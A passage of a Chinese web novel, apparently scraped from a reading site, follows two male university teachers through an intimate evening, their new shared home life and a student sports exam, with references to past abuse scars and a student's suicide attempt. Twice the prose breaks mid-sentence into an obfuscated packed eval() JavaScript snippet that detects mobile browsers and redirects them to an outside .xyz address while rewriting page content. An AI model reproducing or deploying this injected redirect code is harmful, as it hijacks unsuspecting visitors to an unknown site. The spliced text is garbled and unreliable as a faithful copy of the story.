但很快他就察觉到有些不对劲,许之呼吸的频率好像有点太急了,不像是动情、更像是忍耐什么。 李斯年半撑起身,松开了手:“不喜欢么?” 许之沉默着摇头,他不知道该怎么说,只是刚才双手被按在头顶的瞬间,脑海里忽然闪过一些破碎的片段。 他其实已经很久没想起过许贺亮、还有那没有窗户终日昏暗的小隔间了。 谈不上创伤或应激的程度,只是那种强烈的反感还记忆犹新。 李斯年是何其敏锐的人,他在许之眼中察觉到了痛苦,目光往下,就落在了他因刚才动作而歪斜的睡衣领口。 轮廓分明的锁骨上,有几个圆形的疤痕,像是烟头烫的,颜色褐暗,明显是旧伤。 李斯年心里一疼,低下头,吻了上去。 许之身体猛然抖了抖,喉头颤着,发出似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832532|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹息的轻哼。 李斯年什么都没有问,但许之觉得他应该是全都猜到了,那些陈年旧事其实也没什么提起的必要,疤痕消不去、发生过的事也抹不掉。 但那又如何,日子照样可以往前过,也应该往前过。 许之反攥住李斯年的手,牵着放到头顶,李斯年愣了一瞬,就立刻明白了。 是了,他的少年从来都不曾软弱逃避,更是从很早以前就有冲破桎梏的勇气,哪怕羽翼单薄、哪怕粉身碎骨。 于是李斯年重新按着他的手腕,五指缓缓嵌入他的指缝,再度吻了过来。 许之这次吻得更加主动,虽然舌尖的捻动勾扯处处都透着青涩,但李斯年能感受到那种毫无保留的接纳。 他起先还能自控节奏,在拉锯之间保持理智,到后来就越吻越凶,放在许之后腰的手收得紧,像是要将人嵌入自己身体。 以后一切这样亲密的事情,都只记得他就够了。 别的、不好的,都忘掉。 情意渐渐被欲望盖过,许之觉得身体里像是被投了一把火,烧得他头晕目眩、口干舌燥,只能从对方唇齿间获取喘息,却同时又会被夺取氧气。 李斯年的手不知什么时候从他睡衣下摆滑了进去,掐揉着腰侧一块软肉,感受着那失措的颤栗。 简直像是无声邀请。 但李斯年脑子里还绷着最后一丝理智,他的手没有继续移动,而是撑起了身,看向许之。 这一看不要紧,小腹瞬间更紧了几分。 许之原本就红润的嘴唇此刻被亲得艳红,唇角睫梢都泛着水光,胸膛起伏着一呼一吸,眼神都有些涣散了。 察觉到李斯年的停顿,他才稍稍回神,被压得酸麻的腿下意识挪动了角度,随即像是碰到了什么,整个人瞬间一僵。 李斯年指腹温柔地抹过许之眼角,带走了些许潮意,目光静静注视着他的双眼,是征求同意的意味。 许之却木头似的一动也不动,只有嘴唇蠕动片刻,却愣是半个字都没说出来。 李斯年看到他这样子,只觉得可爱到心都要被融化掉了。 虽然身体上很憋屈,但是心里却一点都不憋屈。 他干脆侧过身体,靠在沙发背那侧,就这么将许之抱在了怀里。 “没事,以后再说吧。”他声音还哑得厉害。 许之侧头看他,有些慌张:“我、我不是……” “我知道的。”李斯年接过他的话头,低低地笑了声,“你不是不愿意。” 毕竟他能感觉到许之的反应。 对方一而再再而三的包容,反而让许之更加内疚,他侧转过身,手放向李斯年腰间:“还是……继续吧。” 李斯年被他脸上英勇就义似的表情逗得不行,哈哈笑着,捏住了他的手:“现在那个氛围已经过了,继续不起来了。” 许之低头向下看了一眼:“可是……” 李斯年飞速调整角度,把人更抱紧了些:“过会儿就下去了,别管它。” 说着,又吻了吻他的额头,半晌,问了句:“有点怕么?” 许之脸颊的红从亲吻开始就没消退过,他闭上眼睛,脸埋在李斯年胸前,缓缓点了头。 其实他也不确定自己在害怕什么。 或许是日夜盼着的关系突然要落到实处,心中反而升起极度的恐慌。 害怕好运对于他这样的人来说,总是只会短暂的眷顾片刻,然后离开。 就像八年前遇见李斯年那样。 李斯年大概能猜到他在想什么,手安抚着揉了揉他的后脑勺,唇贴着耳边笑道:“我耐心很多,八年都等了,这些算不了什么。” 88.同居 接下来几天许之都忙,又因为相关资料只能保存在校园内网,所以不得不在学校加班到深夜才回。 好在有李斯年在家,小白每天吃喝拉撒不再需要他分神,在一片漆黑夜色笼罩的走廊里打开家门,也是暖光迎面,还有精心准备的宵夜。 相对的,就是李斯年以“这两天你一到家就睡了,总共讲话不过十句,所以得赔偿我一下”为理由,换得这周的周三和周六也要赖在许之家里了。 其实这件事在他最初拒绝许之去自己家、而是自己来许之家时,就能初见端倪。 不过许之也没想要计较。 毕竟这样像是回到八年前出租屋一般的日子,他也是喜欢的。 最初定下一三五七,不过是那瞬间怕关系会像一簇火焰,燃起越快、熄灭越快。 李斯年今晚给许之准备的是肉松小贝和温牛奶,放在精致的托盘里端了过来,伴有带着些许幽怨的声音:“你到底还要加班几天啊……” 许之温温一笑:“我这两天抓紧弄完了,明天不加班,陪你。” 李斯年手肘撑在桌上,手托脸看着他:“好啊,我记得你周三也是下午没课的?” “嗯。” “想去哪玩?还是就待在家休息休息?” 许之小口小口喝着牛奶,想了想:“你总是问我的想法,那你呢?” “我怎样都可以,只要是跟你一起的。”李斯年说完,笑意更深地眨眨眼,“当然,若是要说最想做的嘛……” 许之一口奶差点呛嗓子里,忍着笑咽了下去:“以前怎么没发现你满脑子都是黄色废料。” 站起身,去洗碗碟。 李斯年也跟过去,手掌撑在厨房台面上,将人笼罩在怀抱包围圈内,声音有点委屈:“你不想吗?” 许之笑了笑,没答话。 “是不是你没那么喜欢我了?”李斯年头搁在他肩头,嘟囔,“这种事难道不是情难自已的么?” 许之关上水龙头,转过身来,带着湿意的手指刮了一下李斯年的鼻梁,笑盈盈道:“看你表现吧。” 许之当然不是不想,周末那次中途停止时心里的别扭,他这两天已经自我消化地差不多了。 但李斯年急色的样子实在是有趣了,想多看一会。 意识到自己会有这样想法时,许之第一反应是,看来他真的已经完全接受和李斯年在一起、并会一直在一起这件事了。 若是潜意识里没觉得会来日方长,是不会生出如此悠哉心情的。 见李斯年听完这话,眼神闪了闪,许之又补了句:“今天不行,我明早第一节课,要早起。” “那明天?”李斯年追问。 许之笑得眉眼都弯了:“这种事还专门约好时间,是不是有点奇怪了?” 轻轻拍开他圈住自己的手臂,丢下一句模棱两可的:“看情况吧。” 就径直去卫生间洗漱了。 李斯年还站在原地,察觉到脚踝一阵痒痒的,低头一看,是小白正在拿身体蹭他。 “小孩子不要听这些事情。”李斯年蹲下身,把它抱起来往沙发走。 小白不情愿的叫了一声,眼睛还盯着橱柜。 李斯年了然:“要吃冻干?” 叫声柔和了些。 “可是今天已经吃过了哦。” 叫声又变得强硬。 李斯年有时候真觉得小白智商应该挺高,好像听得懂人话。 他眼睛一转,将猫放下,拿出了冻干盒子。 抬头看了眼,卫生间已经响起水声,许之大概开始洗澡了。 李斯年取出一块冻干,冲小白压低声音:“你预测一下,明天我跟你爸爸能……有可能吗?有就叫一声、没有就叫两声。” 小白一双圆圆的眼睛透出些迷茫,随即爪子爬上李斯年膝头,要去够冻干。 李斯年抬高手:“不行,你先预测。” 小白不耐烦的虚抓了两下,原地转了圈,开口连叫两声,顿了顿,又是一长串拖长的猫叫。 听得出来,骂的挺难听。 李斯年气得把手里冻干又放回盒子里去:“你预测的不准!没得吃了。” 小白原地愣住,看他真打开柜门要往里收,赶紧追了上去,又蹭着李斯年脚踝绕了一圈。 这次是老老实实、夹着嗓子,叫了一声。 李斯年这才展露笑颜,拿出碗碟,给小白倒了十几颗冻干:“借你吉言啊!” 许之吹干头发出来,就看到地上有个空碗,干净地像是洗过——小白拿舌头洗的。 他拿起来闻了闻,冲卧室内已经在暖床的李斯年不满道:“你怎么又半夜给它加餐啊,它再这么胖下去,年纪又大了,容易对心脏产生负担。” “我发誓,这是最后一次!”李斯年赔笑的声音传来,“快来睡觉,好困了。” 二人如今和在出租屋一样,都是许之睡里面、李斯年睡外面。 不同的是可以共用一床被褥了,而且李斯年可以正大光明的抱着人睡。 许之第二天上午课排得满,有三节,李斯年嘴唇贴着他头顶的发,轻声问:“明天中午直接停车场等你了?” “嗯——”许之明显是困了,尾音拖得长长。 “就不吃食堂了,带你去外面吃?” “好。”声音更轻了。 虽然很想再听会儿这种睡意朦胧的声音,但还是不要打扰他入睡了,李斯年抬手关了夜灯,屋内陷入一片昏暗。 “晚安,许之。”李斯年说。 这次可以不用在心里,而是说出口了。 - 李斯年今天只有第一节有课,下课后,将电脑放回实验室,就往足球场走去。 广都大学面积很大,光是室内、室外大大小小的篮球场就一共有四个,外加两个足球场。 今天阳光挺烈,李斯年衬衣袖子挽到了手肘,刚来到南边足球场,就有坐在跑道旁的几个学生站起身来,兴奋地冲他招手。 “李老师,这里!”最先跑过来的,是上次在教室内告知李斯年赵毅状况的卷发女生,名叫茶一。 “我有没有来晚?”李斯年笑着问。 “没有没有,时间正好!”茶一带他去跑道后面的看台坐,又从路边纸箱子里拿了瓶矿泉水来,“八百米就快开始了。” “谢谢。”李斯年接过水,“快去准备吧,我给你们加油。” 茶一咧嘴一笑:“嗯!” 然后小跑着回到跑道。 体育老师组织学生们分组、分跑道,大家身上都别着自己的姓名和学号,还挺像那么回事。 随着一声枪响,八百米考试开始。 跑道上的男生女生们像是离弦的箭,“嗖”得一下冲了出去,刚开始时大家还相差无几,但长跑比的是中后段耐力,两圈下来,距离差异就逐渐变得明显了。 “加油——坚持住!”李斯年站在栏杆旁,手在嘴边作喇叭状,在终点线的位置给学生们打气,“最后一段冲刺了——” 在一旁候场的学生们都听到声音,扭头去看。 “诶,这不是李老师吗?他怎么会来?”一个高马尾女生惊讶着,一边拿出手机,疯狂拉大焦距,“真人比照片帅好多啊……” 茶一颇为自豪地笑了笑:“我们上周随堂考考得好,李老师说作为交换,体育考试时来给我们加油的!” “卧槽,这也太好了!我记得你们那只是一节选修吧?”另一边的男生感叹。 选修课分两种,一种是为了凑学分、一种是真的有学习价值,而且通常选修课的学生都来自不同班、甚至还有外系的学生。 所以选修课老师和学生之间的只是上课、听课的关系,课下交流几乎为零。 甚至很多时候一个学期下来,在路上打照面,老师叫不出学生姓名、甚至认不出是自己选修课上的学生,都是很常见的事情。 “不知道李老师下学期会不会开选修,我一定要抢到。”高马尾女生发出羡慕的声音。 今天的体育考试只有八百米长跑和两百米短跑,考得不算慢,考完的学生们都没有立刻离开,有些围在跑道旁对着看台一通狂拍,其他选修课上的学生更是直接去看台上找李斯年了。 “怎么样?我看你们考得都挺不错。”李斯年问。 “托您的福,我们全班好像都及格了,是吧?”其中一个学生说。 其他人响起此起彼伏的肯定声音。 李斯年一笑:“你们要求也太低了,及格就行?” “您是不知道,那个体育老师可变态了……”茶一说一半,停下来喘气,她是最后一批考完的,还没从短跑的劲儿里缓过来。 “是啊,这学期的及格线愣是提高了好几秒。”另一个男生接话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15846941|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是刘博然。 说完,扭头看了一眼茶一,随后把手头未开封的一瓶水拧开来,递给她。 茶一愣了愣,很快说了声“谢谢”,接过。 “原来是这样。”李斯年冲大家摆摆手,“你们跑了半天也累了,别都挤在这里了,回去好好休息,对了,记得下周交作业啊,还是老规矩,漏交的讲台上五个俯卧撑,男女一样。“ 众人响起哄笑声,其实李老师的课,大家都是盼着上课、盼着交作业的,这段时间以来,总共也只有一个作业发错邮箱的糊涂蛋接受过这个惩罚。 围着的学生们散开来,李斯年也起身,从侧面的台阶下了看台,就看见台阶侧面站着一个身穿条纹短袖的男生,显然是在等其他人都离开。 “李老师。”是赵毅。 李斯年颔首:“我看你今天考得挺好,长短跑都前三名?” 赵毅不好意思笑了笑,谦虚道:“嗯,我也就一身使不完的力气了。” 二人本来边说话边往场外走,赵毅忽然步子一顿,就冲李斯年深深鞠了一躬。 倒把李斯年吓一跳:“这是做什么?” 赵毅起身,表情认真:“李老师,我想跟您好好说声谢,为上次的事。” 李斯年拍了拍他的肩膀,笑道:“没事的,都过去了。” “都怪我一时冲动,才害得您也陷入危险……您身上的伤好些了吗?” 李斯年点头,顺带活动了一下肩膀给他看:“早就好了,本来也就只是一些淤青,没伤到实处。” 赵毅这才松了口气,脸上表情松动:“那就好。” 他原本是看向李斯年,说完这话后,忽然目光一偏,侧过身,端端正正喊了声:“许老师好。” 李斯年转头一看,正是许之。 他见了二人也有些惊讶,从路那边穿了过来,对赵毅点点头:“你好。” 又看向李斯年:“你们怎么在这?” 在学生面前的许老师果然是严肃疏离的,李斯年这瞬间心里升起隐秘而令人享受的亲密感——只有他知道许之在人后是什么表情。 他解释道:“和学生说好了,随堂考得好就来帮他们体育考试加油。” 的确是李斯年的风格,许之唇角淡淡一抹笑,看到跑道那边已经空了:“考完了?” “是啊,人刚走呢。”李斯年撇了眼他手里的电脑,“你是要去赶第四节课?” 这个时间,正是第三节课中,而有些课程的教学楼之间隔得远,走过去二十分钟、甚至半小时得都有。 许之点头。 李斯年看他面上微红,耳边的头发都被汗粘在脸侧,大概是真走得挺急,于是顺手就把自己手里的水塞给他:“那不耽误你时间了,快去忙吧。” 这瓶水李斯年只喝了半口,水量乍一看和满瓶没什么区别,而许之也没有立刻拧开,是故没发现,于是说了声谢,又冲赵毅示意道:“那我先走了。” “许老师再见。”赵毅说。 许之点点头,转身离开。 赵毅目光落在许之手中那瓶水上好一会,直到听到李斯年又开口。 “你最近怎么样?”李斯年问。 赵毅回过神来:“好多了,约了几次许老师的咨询,也慢慢看开了。就……需要去勉强的,终究是错的人吧,虽然很遗憾,但没办法。” “人生还长着呢,你以后会遇到很多各种各样的人。”李斯年由衷道。 赵毅先是点头,然后又摇了摇:“只是我也不确定,以后还会不会像喜欢他这样,喜欢别人了?” 这是一个没人会知道答案的问题。 因为有些人,最终会成为心底挥之不去的白月光。但有些人,却会在历经千帆回首时,才发现只是初见惊艳、再品无味的过客。 于是李斯年只是说:“不管怎么样,人都只能往前走。” 赵毅无奈的苦笑了下:“是啊。” 因为他第四节也还有课,于是就聊到这里,向李斯年说了声“再见”,匆匆离开了。 少年脚步轻巧,背影很快就消失在路的尽头。 李斯年忽然想起刘博然给茶一递水时脸上的飞红,还有赵毅跳楼那天茶一紧张惶恐的模样。 人和人的关系总是微妙而复杂啊。 他心中生出些感叹。 谁也不知道会最终走向什么样的结局。